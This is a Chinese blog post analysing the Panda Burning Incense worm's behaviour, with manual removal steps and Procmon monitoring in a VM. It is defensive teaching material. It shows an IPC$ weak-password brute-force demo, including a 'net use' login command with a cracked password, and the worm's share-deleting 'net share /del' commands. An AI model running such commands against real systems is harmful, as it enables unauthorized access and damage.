熊猫烧香病毒有它的特殊性,也有它的通用性。下面结合第一部分PE病毒基础知识,介绍熊猫烧香病毒的基本行为。

(1) 自启动方式

熊猫烧香病毒将自身拷贝至系统目录,同时修改注册表将自身设置为开机启动项 这种方式也是绝大部分病毒自启动所采用的方式。拷贝自身到所有驱动器根目录(盘符),命名为Setup.exe,在驱动器根目录生成autorun.inf文件,并把它设置为隐藏、只读、系统 autorun.inf文件的作用是允许在双击磁盘时自动运行指定的某个文件,即运行Setup.exe。

注意,该Setup.exe文件被设置为隐藏、只读、系统,虽然我们可以查看“隐藏的项目”,但某些隐藏的系统文件仍然是看不到的。

我们需要进一步设置,取消勾选“隐藏保护的操作系统文件”,才能显示这类文件,如下图所示。而通常设置为隐藏的系统文件是较难被觉察的,尤其当这类文件被写入到某个指定的操作系统目录中,防不胜防。

(2) 感染与传播方式

感染可执行文件 熊猫烧香病毒会搜索并感染系统中特定目录外的所有.EXE / .SCR / .PIF / .COM等文件,将自身捆绑在被感染文件前端,并在尾部添加标记信息:.WhBoy{原文件名}.exe.{原文件大小}。注意,它感染的是特定目录外的,而某些系统目录是不去感染的,因为Windows系统某些可执行文件是有还原机制的,系统文件修改有时候会有报警提示。感染网页 熊猫烧香病毒会查找系统以 .html 和 .asp 为后缀的文件,在里面插入网页标记,这个帧iframe会将另外一个URL嵌入到当前网页,并且宽度和高度设置为0(看不到)。嵌入页面后会利用如IE浏览器的漏洞来触发恶意代码,从而释放相应病毒出来。

通过弱口令传播 这种传播方式非普遍,它会访问局域网共享文件夹将病毒文件拷贝到该目录下,并改名为GameSetup.exe(模拟游戏名称);通过弱口令猜测从而进入系统C盘。

(3) 自我隐藏

禁用安全软件 熊猫烧香病毒会尝试关闭安全软件(杀毒软件、防火墙、安全工具)的窗口、进程,比如包含360的名称等;删除注册表中安全软件的启动项;禁用安全软件的服务等操作。自动恢复“显示所有文件和文件夹”选项隐藏功能 某些用户去看隐藏文件,会主动点击查看隐藏文件夹,但这个病毒会自动恢复隐藏。删除系统的隐藏共享(net share) Windows系统其实默认会开启隐藏共享 C$ ,比如早期的 IPC$ 管道等,通过net share命令可以删除隐藏共享。

IPC$ (Internet Process Connection) 在未经授权情况很难将木马拷贝到别人的电脑上。这里需要利用IPC $ 漏洞,调用445端口号实现。445端口中有个IPC $ ,称之为空连接,没有固定文件夹的共享;而C$ 、D$ 、E$ 代表分区共享,是有固定文件夹的。换句话说,445端口打开就相当于我们可以在局域网中轻松访问各种共享文件夹,如果您的电脑是弱密码,很容易就被攻破,这里使用IPC $ 暴力爆破。 IPC $ (Internet Process Connection) 是共享“命名管道”的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。IPC $ 是NT2000的一项新功能,它有一个特点,即在同一时间内,两个IP之间只允许建立一个连接。NT2000在提供了 IPC $ 功能的同时,在初次安装系统时还打开了默认共享,即所有的逻辑共享(C$ 、D$ 、E$ …)和系统目录(C:\windows)共享。所有的这些初衷都是为了方便管理员的管理,但好的初衷并不一定有好的收效,一些别有用心者会利用IPC$访问共享资源,导出用户列表,并使用一些字典工具,进行密码探测。 推荐作者前文:[网络安全自学篇] 木马原理详解、远程服务器IPC $漏洞及木马植入实验

下图展示了使用NTscan软件暴力爆破,该软件支持远程连接IPC $和利用字典文件。运行软件,输入IP地址“10.1.1.2”,选择IPCsan连接共享“IPC $”,成功获取了密码“123.com”。接着与目标主机建立IPC $ 空连接。

net use \\10.1.1.2\ipc$ 123.com /user:administrator

(4) 破坏功能

熊猫烧香病毒同时会开另一个线程连接某网站下载DDOS程序进行发动恶意攻击 具有破坏功能,可开启附件攻击行为,熊猫烧香感染计算机台数非常多,它就能发动多台电脑发起DDOS攻击。删除扩展名为gho的文件,延长存活时间 该文件是系统备份工具GHOST的备份文件,从而使用户的系统备份文件丢失。当用户中了病毒,想去恢复时就存在困难了。

这就是一个典型的病毒案例,当然现在很多病毒功能都具有相似性,它们有经济利益趋势。当然对于不同的病毒来说,如果它的目的不一样,其行为会存在很大差异。当然熊猫烧香病毒的隐蔽性不是很好,每一个感染者都会知道自己已被感染。

四.样本运行及查杀防御

首先,作者将熊猫烧香病毒拷贝到虚拟机系统中,注意一定不能真机去运行,更不能去破坏或伤害他人。该样本不会分享给大家,任何破坏行为都将受到严惩,我仅是从反病毒原理及防御方面进行技术分享。

实验环境:Windows XP实验文件:熊猫烧香.exe

正如姜晔老师说的一样,手动查杀病毒基本流程如下:

排查可疑进程 因为病毒往往会创建出来一个或者多个进程,因此需要分辨出哪些进程是由病毒所创建,然后删除可疑进程。检查启动项 病毒为了实现自启动,会采用一些方法将自己添加到启动项中,从而实现自启动,所以我们需要把启动项中的病毒清除。删除病毒 在上一步的检查启动项中,我们就能够确定病毒主体的位置,这样就可以顺藤摸瓜,从根本上删除病毒文件。修复被病毒破坏的文件 这一步一般来说无法直接通过纯手工完成,需利用相应的软件,不是我们讨论的重点。

为什么计算机中安装了杀毒软件,还要去手动查杀呢? 因为杀毒软件存在严重的滞后性,必须要等病毒工程师抓取对应样本,并进行分析总结病毒的特征码,再加入杀软病毒库后才能识别病毒,但病毒会存在各种变种,因此手动查杀也是必要的。同时,这对我们反病毒工程师来说也是认识和熟悉病毒的过程,在技术上是非常必要的。这也是现在为什么很多云沙箱、云杀软、动态更新的技术不断出现。

实验目的:

学会基本的手动查杀理论学会利用DOS命令行删除病毒及其影响

第一步,运行病毒前打开任务管理器观察此时打开的进程。

第二步,运行程序,可以发现任务管理器就自动关闭,并且无法再次打开(总一闪而过)。 那么,我们怎么查看系统中的进程呢?

第三步,打开CMD命令提示符,输入命令“tasklist”查看。

显示进程信息如下图所示,我们发现多出来“spoclsv.exe”进程。该程序即为熊猫烧香病毒创建出来的进程。

第四步,输入“taskkill /f /im 1684”命令强制结束这个进程,其中“/f”表示强制执行,“/im”表示文件镜像,“1684”对应PID值。如下图所示,成功杀掉该进程。

第五步,排查可疑进程之后,我们接下来查询启动项,在运行中输入msconfig。

显示如下图所示,可以看到“spoclsv”启动项。

第六步,检测该启动项创建的位置及键值。

C:\WINDOWS\System32\drivers\spoclsv.exeHKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

第七步,我们打开注册表查看对应的值,发现创建了一个svcshare的值,并启动对应exe程序。

接着我们打开这个目录查看。

C:\WINDOWS\System32\drivers\spoclsv.exe

第八步,取消勾选“spoclsv”启动项,点击“确定”。

先暂时不重启计算机。

接着刷新注册表,发现“spoclsv”已经消失,表示启动项已经成功被删除。

第九步,我们需要删除这个病毒,这里使用CMD命令行对其进行删除。

输入“del /f spoclsv.exe”强制删除该文件,显示如下图所示,成功删除。

写到这里,我们是否真的成功清除了熊猫烧香病毒呢? NO,该病毒还将自身复制到每一个磁盘的根目录下。

第十步,删除隐藏系统只读的文件。 输入“dir /ah”查看隐藏的文件,发现autorun.inf和setup.exe。

接着强制删除这两个文件,也可以将文件属性修改后删除。

del /ah /f autorun.infdel /ah /f setup.exeattrib -s -r -h setup.exe:消除隐藏、系统、只读属性

重启系统后,所有手动查杀病毒的工作完毕,我们的系统就又恢复正常了。

五.Procmon检测病毒行为

接着我们通过Process Monitor工具来监控熊猫烧香病毒的行为。

1.软件基本介绍

Process Monitor是微软推荐的一款系统监视工具,能够实时显示文件系统、注册表(读写)、网络连接与进程活动的高级工具。它整合了旧的Sysinternals工具、Filemon与Regmon,其中Filemon专门用来监视系统中的任何文件操作过程,Regmon用来监视注册表的读写操作过程。

Filemon:文件监视器Regmon:注册表监视器

同时,Process Monitor增加了进程ID、用户、进程可靠度等监视项,可以记录到文件中。它的强大功能足以使Process Monitor成为您系统中的核心组件以及病毒探测工具。

Process Monitor可以帮助使用者对系统中的任何文件、注册表操作进行监视和记录,通过注册表和文件读写的变化,有效帮助诊断系统故障或发现恶意软件、病毒及木马。

下载Procmon.exe软件后,直接双击启动,Procmon会自动扫描分析系统当前程序的运行情况。其中,下图框出来的4个常用按钮作用分别为:捕获开关、清屏、设置过滤条件、查找。最后5个并排的按钮,是用来设置捕获哪些类型的事件,分别表示注册表的读写、文件的读写、网络的连接、进程和线程的调用和配置事件。一般选择前面2个,分别为注册表和文件操作。

输出结果中包括序号、时间点、进程名称、PID、操作、路径、结果、描述等,监控项通常包括:

文件系统注册表进程:跟踪所有进程和线程的创建和退出操作剖析事件:扫描系统中所有活动线程,为每个线程创建一个剖析事件,记录它耗费的核心和用户CPU时间,以及该线程自上次剖析事件以来执行了多少次上下文转换

更多用法推荐作者的前文,下面直接讲解针对熊猫烧香病毒的行为分析。

[网络安全自学篇] 四十九.Procmon软件基本用法及文件进程、注册表查看

2.病毒行为检测

第一步,打开Procmon.exe软件。

第二步,在筛选器中选择打开Procmon.exe软件,Filter中选择过滤病毒的名称“setup.exe”。

Process Name is setup.exe

然后点击添加和应用。

第三步,运行熊猫烧香病毒,可以看到它捕获了非常多的病毒信息。

第四步,首先查看病毒的Process Tree(进程树)。

可以看到setup.exe的熊猫烧香病毒程序,并衍生出一个spoclsv.exe程序。位置信息为:

C:\WINDOWS\system32\drivers\spoclsv.exe

第五步,发现spoclsv.exe程序三次打开cmd,运行net share命令删除各个磁盘共享及系统根目录共享。

net share C$ /del /ynet share Z$ /del /y:虚拟机共享功能盘net share admin$ /del /y

此时我们总结病毒的行为:

第1点行为:创建spoclsv.exe程序并位于WINDOWS\system32\drivers目录第2点行为:命令行模式下使用net share解除共享功能

第六步,回到Procmon软件进行深入分析。关闭其他结果,只显示注册表行为。

接着在过滤器中仅显示对注册表修改的值,如下图所示。

Operation is RegSetValue

主要修改的是Seed项,就是随机数种子的生成。但仅仅通过这个信息无法推测注册表的行为,所以该病毒对注册表并没有什么实质性影响。

第七步,查看病毒对文件的修改。 在过滤器中删除注册表的修改,然后检测熊猫烧香病毒是否创建文件,创建文件也是病毒的重要手段。

Operation is CreateFile

可以看到主要创建的文件是WINDOWS\system32\drivers目录下,其他并没有特别的东西。所以setup.exe程序对我们的系统并没有实质性影响,主要影响还是spoclsv.exe程序,所以下一步操作就是监控spoclsv.exe程序。

第八步,在过滤器中删除对setup.exe的监控,设置对spoclsv.exe程序的监控。

Process Name is spoclsv.exe

第九步,在过滤器中查看spoclsv.exe删除注册表选项。

Operation is RegDeleteValue

从这些名称可以看到它们都是常用的杀毒软件名称,其位置是CurrentVersion的Run下面,即将杀毒软件的自动启项全部删除。

第3点行为:删除安全类软件在注册表中自动启项

第十步,在过滤器中查看spoclsv.exe创建及设置的注册表键值。

Operation is RegCreateKeyOperation is RegSetValue

显示结果如下图所示,病毒设置了自启动项,要启动的本体是drivers目录下的spoclsv.exe。

第4点行为:在注册表CurrentVersion\Run创建svcshare自启动项,每次开机时会自动运行病毒

继续查看,发现它对文件实现隐藏,设置该值后,即使我们在文件夹选项中选择显示所有文件和文件夹,也无法显示隐藏文件。

第5点行为:禁用文件夹隐藏选项,修改注册表使得隐藏文件无法通过普通设置显示,从而隐藏病毒自身

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue

第十一步,在过滤器中查看spoclsv.exe文件操作。

熊猫烧香病毒创建文件包括:

在C:\WINDOWS\system32\drivers中创建spoclsv.exe磁盘根目录创建setup.exe与autorun.inf某些目录中创建Desktop_.ini文件

由于创建这些文件之后就对注册表的SHOWALL项进行了设置,使得隐藏文件无法显示,那么有理由相信,所创建出来的这些文件的属性都是“隐藏”的。

第6点行为:将自身拷贝到根目录并命名为setup.exe,创建autorun.inf用于病毒的启动,这两个文件的属性都是“隐藏”。同时,会创建Desktop_.ini隐藏文件

第十二步,在过滤器中查看spoclsv.exe网络行为。 从监控结果可以看到,病毒会向局域网发送并接收信息,并不断尝试向外进行连接和发送数据包。

写到这里,我们基本已经分析了熊猫烧香的病毒行为,但这些行为仍然无法彻底了解病毒的行为,还需要通过OllyDbg逆向分析和IDA静态分析来实现。同时,熊猫烧香病毒还有一些其他的行为,包括:

感染EXE文件,病毒会搜索并感染系统中特定目录外的所有.EXE/.SCR/.PIF/.COM文件,并将EXE执行文件的图标改为熊猫烧香的图标。试图用以弱口令访问局域网共享文件夹,如果发现弱口令共享,就将病毒文件拷贝到该目录下,并改名为GameSetup.exe,以达到通过局域网传播的功能。查找系统以.html和.asp为后缀的文件并在里面插入iframe,该网页中包含在病毒程序,一旦用户使用了未安装补丁的IE浏览器访问该网页就可能感染该病毒。删除扩展名为gho的文件,该文件是系统备份工具GHOST的备份文件,这样可使用户的系统备份文件丢失。

六.总结

写到这里,这篇文章就介绍完毕,希望对您有所帮助,最后进行简单的总结下。

PE病毒概念什么是熊猫烧香病毒熊猫烧香病毒行为分析样本运行及查杀防御Procmon检测病毒行为

同时,请读者思考几个问题。

病毒感染了多少文件,重装操作系统是否可以彻底清除病毒?如何编写程序迅速扫描出恶意样本需要实现的操作及行为。熊猫烧香病毒传播时的图标问题,是作者故意为之?!病毒在什么情况下需要进行图标替换?图标替换过程中可能会遇到哪些问题,如何解决?在无文件加载中,如果DLL没有实体文件,是否可以在内存中完成DLL加载?病毒运行一定要开启新的进程吗?如何编写感染性病毒的清除程序?其与系统感染性病毒的清除方法有何差异?

学安全一年,认识了很多安全大佬和朋友,希望大家一起进步。这篇文章中如果存在一些不足,还请海涵。作者作为网络安全初学者的慢慢成长路吧!希望未来能更透彻撰写相关文章。同时非常感谢参考文献中的安全大佬们的文章分享,深知自己很菜,得努力前行。

有点想家和女神了!月是故乡圆啊~接着加油。

编程没有捷径,逆向也没有捷径,它们都是搬砖活,少琢磨技巧,干就对了。什么时候你把攻击对手按在地上摩擦,你就赢了,也会慢慢形成了自己的安全经验和技巧。加油吧,少年希望这个路线对你有所帮助,共勉。

(By:Eastmount 2020-08-13 星期四 中午2点写于武汉 http://blog.csdn.net/eastmount/ )

2020年8月18新开的“娜璋AI安全之家”,主要围绕Python大数据分析、网络空间安全、人工智能、Web渗透及攻防技术进行讲解,同时分享CCF、SCI、南核北核论文的算法实现。娜璋之家会更加系统,并重构作者的所有文章,从零讲解Python和安全,写了近十年文章,真心想把自己所学所感所做分享出来,还请各位多多指教,真诚邀请您的关注!谢谢。

参考文献: 姜晔老师真的非常佩服和值得去学习,希望自己和大家的技术能不断提升,加油! [1] [网络安全自学篇] 木马原理详解、远程服务器IPC $漏洞及木马植入实验 [2] 姜晔老师的技术空间目录 - CSDN [3] 腾讯安全联合实验室 - 知乎文章 [4] [网络安全自学篇] 七十九.Windows PE病毒原理、分类及感染方式详解 [5] 姜晔老师技术分享 - B站 [6] [网络安全自学篇] 四十九.Procmon软件基本用法及文件进程、注册表查看

优惠劵

Eastmount

关注

关注

45

点赞

147

收藏

觉得还不错?

一键收藏

打赏

知道了

3

评论

[安全攻防进阶篇] 八.那些年的熊猫烧香及PE病毒行为机理分析

如果你想成为一名逆向分析或恶意代码检测工程师,或者对系统安全非常感兴趣,就必须要认真分析一些恶意样本。熊猫烧香病毒就是一款非常具有代表性的病毒,当年造成了非常大的影响,并且也有一定技术手段。本文将详细讲解熊猫烧香的行为机理,并通过软件对其功能行为进行分析,这将有助于我们学习逆向分析和反病毒工作。后续作者还将对其进行逆向调试,以及WannaCry勒索蠕虫、各种恶意样本及木马的分析。基础性文章,希望您喜欢!技术路上哪有享乐,加油~

复制链接

扫一扫

专栏目录

计算机熊猫烧香病毒分析

05-09

计算机病毒是一些特殊的程序,它们能破坏计算机内、外存储器中的程序与数据,使计算机不能正常运行。这类程序还能自动修改磁盘里存储的信息,使正常的程序和数据文件变得具有破坏性。因此,这类程序一旦进入计算机系统,就有可能通过软盘、光盘或网络等途径,使其他计算机系统遭受破坏。这与生物界中病毒的繁衍和传播有些类似,因此人们借用“病毒”这个名词,把这类程序叫做计算机病毒,把存有这类程序的计算机,叫做感染了病毒的计算机,简称染毒计算机或带毒计算机,把存有这类程序的磁盘或光盘,叫做染毒盘或带毒盘。

一个水泥厂技校毕业的中专生,一个从未接受过专业训练的电脑爱好者,一个被杀毒软件公司拒之门外的年轻人,荼毒了小半个中国互联网。如果不是地震引发海底光缆故障,那只颔首敬香的“熊猫”,还将“迁徙”到更远的地方。

[安全攻防进阶篇] 六.逆向分析之OllyDbg逆向CrackMe01-02及加壳判断1

08-03

声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。(参考文献见后)

3 条评论

您还未登录,请先

登录

后发表或查看评论

熊猫烧香分析报告.pdf

05-06

小白学分析,找了一个比较经典和简单的病毒进行学习,将报告分享出来。

“熊猫烧香”虽然是一个很老的病毒,并且里面的手段也比较简单,但是对于初学者像我这样的小白来说,还是挺适合练手的,毕竟也是一个名气很大的传统病毒。

数据结构熊猫烧香实验报告(含源码).pdf

10-02

数据结构熊猫烧香实验报告(含源码).pdf

熊猫烧香实验报告

06-30

在w7系统下对熊猫烧香病毒的演示及清除,使用专业的熊猫烧香杀毒工具清除病毒。

熊猫烧香详解

weixin_46566083的博客

09-25

2012

IDA详解Delphi蠕虫病毒熊猫烧香

【白话科普】从“熊猫烧香”聊聊计算机病毒

github_36774378的博客

11-21

1245

到底什么是计算机病毒呢?它是什么途径传播的,又会带来哪些危害,我们又该如何在日常使用电脑中防止感染病毒呢?

熊猫烧香病毒分析报告

CMC_HHM的博客

07-27

9565

1.样本概况

1.1 样本信息

(1)病毒名称:spo0lsv.exe

(2)所属家族:熊猫烧香

(3)MD5值:B8F8E75C9E77743A61BBEA9CCBCFFD5D

(4)SHA1值:188FC8FC580C0EA4BF8A8900A3D36471823C8923

(5)CRC32:E63D45D3

(6)病毒行为:

复制自身到系统目录下

设置文件属性为隐藏,并且让...

学习日记——(计算机病毒)PE文件病毒

weixin_54055099的博客

11-22

5917

一、相关知识

PE文件病毒的原理:PE文件病毒感染病毒时,将自身代码复制到目标文件中

PE文件病毒在目标文件前运行,那么,它是怎么做到的呢?

答:PE病毒感染其他文件的常见方法是:

在文件中添加一个新节,然后把病毒代码和执行后返回宿主程序的代码写入到新添加的节中;

同时修改PE文件头的入口地址,使它指向新添加的病毒代码入口;

这样做后,当程序运行时,首先运行病毒代码,运行完后再转去运行宿主代码。

PE文件病毒的感染过程:

第一种:

判断目标文件开始的两个字节是否为“MZ”;

判断PE文件的

[安全攻防进阶篇] 九.熊猫烧香病毒机理IDA和OD逆向分析(上)

热门推荐

杨秀璋的专栏

12-08

1万+

如果你想成为一名逆向分析或恶意代码检测工程师,或者对系统安全非常感兴趣,就必须要认真分析一些恶意样本。熊猫烧香病毒就是一款非常具有代表性的病毒,当年造成了非常大的影响,并且也有一定技术手段。本文将详细讲解熊猫烧香的行为机理,并通过软件对其功能行为进行分析,这将有助于我们学习逆向分析和反病毒工作。后续作者还将对其进行逆向调试,以及WannaCry勒索蠕虫、各种恶意样本及木马的分析。基础性文章,希望您喜欢!IDA和OD作为逆向分析的“倚天剑和“屠龙刀”,学好它们的基本用法至关重要。

熊猫烧香分析

Stronger_99的博客

05-26

3346

在这里主要分析一下熊猫烧香病毒的初始化部分。

病毒文件可以在看雪里下载。

先对熊猫烧香病毒进行一下手动查杀,由于电脑里的软件在查杀病毒时有滞后性,所以学习手动查杀还是很有必要的。

我们先来排查可疑进程。

先把样本放到虚拟机里面,查看任务管理器发现进程数是26

然后运行病毒样本发现任务管理器消失了,再打开也是一闪而过,那么也就说明这个病毒文件已经对电脑产生了影响。

我们可以利用tas...

熊猫烧香病毒分析

ZK_1874的博客

10-28

2317

熊猫烧香病毒分析

电脑病毒“熊猫烧香”当年到底有多残忍?

分享Python知识

08-03

159

电脑病毒“熊猫烧香”当年到底有多残忍?

【病毒分析】——熊猫烧香 && 专杀工具C源码

VI___

11-28

4297

最近忙里偷闲,将自己分析过的一些病毒记录一下,一是给刚入门的小白有个借鉴,二是不让自己写博客的习惯停下来。

一、基本信息

FileName

panda.exe

Type

感染型病毒

Size

30001 bytes

MD5

512...

手动清除熊猫烧香病毒(27)

yyj1781572的博客

03-09

2442

通过实验了解熊猫烧香病毒的危害,熟悉XueTr和Malware Defender的基本使用,学习利用工具进行手动清除熊猫烧香病毒。

长文预警-超详细的熊猫烧香病毒分析_00

hskull的博客

02-02

809

背景介绍

恶意代码主要的几种类型:

Virus(感染型病毒,侵入程序中)

Worm(蠕虫病毒,传播性)

Trojan(木马,远程控制,盗取账号信息等)

Ransomware(勒索软件,加密文档,勒索比特币等)

API(高级持续性攻击木马,窃取机密信息等)

恶意代码案例概述

熊猫烧香是一款具有自动传播、自动感染硬盘能力和强大的破坏能力的病毒,不但能感染系统中的exe,com,pif,s...

熊猫烧香分析报告

qq_43572067的博客

11-01

3469

熊猫烧香分析报告样本信息测试环境及工具主要行为恶意程序对用户造成的危害加固后的恶意代码提取病毒的特征,利用杀毒软件查杀手工查杀步骤或是工具查杀步骤或是查杀思路等C++查杀工具部分源码

样本信息

病毒名称:512301C535C88255C9A252FDF70B7A03

所属家族:蠕虫

MD5值:512301C535C88255C9A252FDF70B7A03

SHA1值:CA3A1070CFF31...

python网络安全攻防

最新发布

03-02

Python是一种功能强大的编程语言,它在网络安全攻防领域也有广泛的应用。下面是一些关于Python网络安全攻防的介绍: 1. 网络扫描和漏洞利用:Python提供了许多库和工具,可以用于网络扫描和漏洞利用。例如,可以...

“相关推荐”对你有帮助么?

非常没帮助

没帮助

一般

有帮助

非常有帮助

提交

Eastmount

CSDN认证博客专家

CSDN认证企业博客

码龄12年

Python领域优质创作者

763

原创

1694

周排名

22

总排名

1241万+

访问

等级

9万+

积分

25万+

粉丝

2万+

获赞

1万+

评论

7万+

收藏

私信

关注

热门文章

word2vec词向量训练及中文文本相似度计算

125642

[python] 常用正则表达式爬取网页信息及分析HTML标签总结

119473

[GO语言基础] 一.为什么我要学习Golang以及GO语言入门普及

113410

[python爬虫] Selenium常见元素定位方法和操作的学习介绍

104662

[网络安全自学篇] 一.入门笔记之看雪Web安全学习及异或解密示例

103852

分类专栏

网络安全自学篇

付费

116篇

Python从零到壹

付费

64篇

Python图像处理及图像识别

付费

52篇

Python人工智能(TF+Keras)

付费

41篇

系统安全与恶意代码分析

付费

57篇

知识图谱、web数据挖掘及NLP

付费

70篇

娜璋带你读论文

37篇

编程生活

27篇

Python学习系列

105篇

Python人工智能

18篇

C# 系统应用知识

32篇

JAVA网站开发及实战

14篇

Python网络爬虫

41篇

当人工智能遇上安全

12篇

C# 网络编程知识

12篇

MFC应用及图像处理

19篇

Python疫情大数据分析

5篇

PHP基础知识及网站开发

12篇

公众号文章备份(未公开)

Android实例开发与学习

20篇

Python黑帽

3篇

GO语言

6篇

LLM+AIGC实战

1篇

文本挖掘和知识发现

3篇

安全攻防进阶篇

24篇

安全报告翻译

12篇

娜璋故事系列

4篇

HTML网站前端设计

17篇

数据库实战开发设计与优化

11篇

CentOS云服务端操作

7篇

Android

21篇

Windows黑客编程

1篇

数字图像处理

13篇

C#基础知识

5篇

Python数据挖掘课程

7篇

C#数据库知识

4篇

汇编知识

4篇

设计模式

4篇

机器学习

10篇

算法知识

7篇

论文翻译

1篇

C/C++基础知识

6篇

Python基础知识

9篇

Git基础

3篇

编程杂谈

16篇

软件项目管理

2篇

百度地图开发

5篇

学习排序

3篇

读书笔记

5篇

Java网站开发

14篇

面试工作

11篇

Python爬虫

31篇

LeetCode

15篇

数据库

23篇

HTML网页知识

9篇

个人网站搭建

12篇

黑科技

4篇

数字媒体

3篇

Echarts可视化

4篇

Office

5篇

渗透&攻防

14篇

SQL Server+Python

3篇

数据结构

9篇

课程复习

3篇

Web安全

4篇

最新评论

C# 系统应用之ListView实现简单图片浏览器

xq30397022:

写的特别详细,内容非常全面,感谢分享

[系统安全] 五十五.恶意软件分析 (7)IDA Python基础用法及CFG控制流图提取详解[上]

Eastmount:

最近忙着自己工作,比较忙哈,不好意思。同时也还在学习中,目前代码有些问题。

[系统安全] 五十五.恶意软件分析 (7)IDA Python基础用法及CFG控制流图提取详解[上]

m0_62733314:

博主,什么时间更新?写的太棒了

[Python人工智能] 二十二.基于大连理工情感词典的情感分析和情绪计算

Eastmount:

用这篇论文吧,这篇也是相关方法《融合情感词典的改进BiLSTM-CNN+Attention情感分类算法》出自《科学技术与工程》,谢谢引用,祝好~

[Python人工智能] 二十二.基于大连理工情感词典的情感分析和情绪计算

m0_56609603:

老师您好,想引用您第四部分自定义词典进行情感总分计算的方法,请问可以引用哪个论文呢

您愿意向朋友推荐“博客详情页”吗?

强烈不推荐

不推荐

一般般

推荐

强烈推荐

提交

最新文章

[网络安全提高篇] 一二五.恶意软件分析之PE文件解析和利用Python获取样本时间戳及溯源

[Python从零到壹] 七十六.图像识别及经典案例篇之OpenCV快速实现人脸检测及视频人脸动态识别

[Python人工智能] 四十二.命名实体识别 (3)基于Bert+BiLSTM-CRF的中文实体识别万字详解(异常解决中)

2024年15篇

2023年51篇

2022年61篇

2021年106篇

2020年132篇

2019年88篇

2018年53篇

2017年35篇

2016年48篇

2015年92篇

2014年57篇

2013年34篇

目录

目录

分类专栏

网络安全自学篇

付费

116篇

Python从零到壹

付费

64篇

Python图像处理及图像识别

付费

52篇

Python人工智能(TF+Keras)

付费

41篇

系统安全与恶意代码分析

付费

57篇

知识图谱、web数据挖掘及NLP

付费

70篇

娜璋带你读论文

37篇

编程生活

27篇

Python学习系列

105篇

Python人工智能

18篇

C# 系统应用知识

32篇

JAVA网站开发及实战

14篇

Python网络爬虫

41篇

当人工智能遇上安全

12篇

C# 网络编程知识

12篇

MFC应用及图像处理

19篇

Python疫情大数据分析

5篇

PHP基础知识及网站开发

12篇

公众号文章备份(未公开)

Android实例开发与学习

20篇

Python黑帽

3篇

GO语言

6篇

LLM+AIGC实战

1篇

文本挖掘和知识发现

3篇

安全攻防进阶篇

24篇

安全报告翻译

12篇

娜璋故事系列

4篇

HTML网站前端设计

17篇

数据库实战开发设计与优化

11篇

CentOS云服务端操作

7篇

Android

21篇

Windows黑客编程

1篇

数字图像处理

13篇

C#基础知识

5篇

Python数据挖掘课程

7篇

C#数据库知识

4篇

汇编知识

4篇

设计模式

4篇

机器学习

10篇

算法知识

7篇

论文翻译

1篇

C/C++基础知识

6篇

Python基础知识

9篇

Git基础

3篇

编程杂谈

16篇

软件项目管理

2篇

百度地图开发

5篇

学习排序

3篇

读书笔记

5篇

Java网站开发

14篇

面试工作

11篇

Python爬虫

31篇

LeetCode

15篇

数据库

23篇

HTML网页知识

9篇

个人网站搭建

12篇

黑科技

4篇

数字媒体

3篇

Echarts可视化

4篇

Office

5篇

渗透&攻防

14篇

SQL Server+Python

3篇

数据结构

9篇

课程复习

3篇

Web安全

4篇

目录

评论 3

被折叠的  条评论

为什么被折叠?

到【灌水乐园】发言

查看更多评论

添加红包

祝福语

请填写红包祝福语或标题

红包数量

红包个数最小为10个

红包总金额

红包金额最低5元

余额支付

当前余额3.43元

前往充值 >

需支付:10.00元

取消

确定

下一步

知道了

成就一亿技术人!

领取后你会自动成为博主和红包主的粉丝

规则

hope_wisdom 发出的红包

打赏作者

Eastmount

你的鼓励将是我创作的最大动力

¥1

¥2

¥4

¥6

¥10

¥20

扫码支付:¥1

获取中

扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元

使用余额支付

点击重新获取

扫码支付

钱包余额

0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。 2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值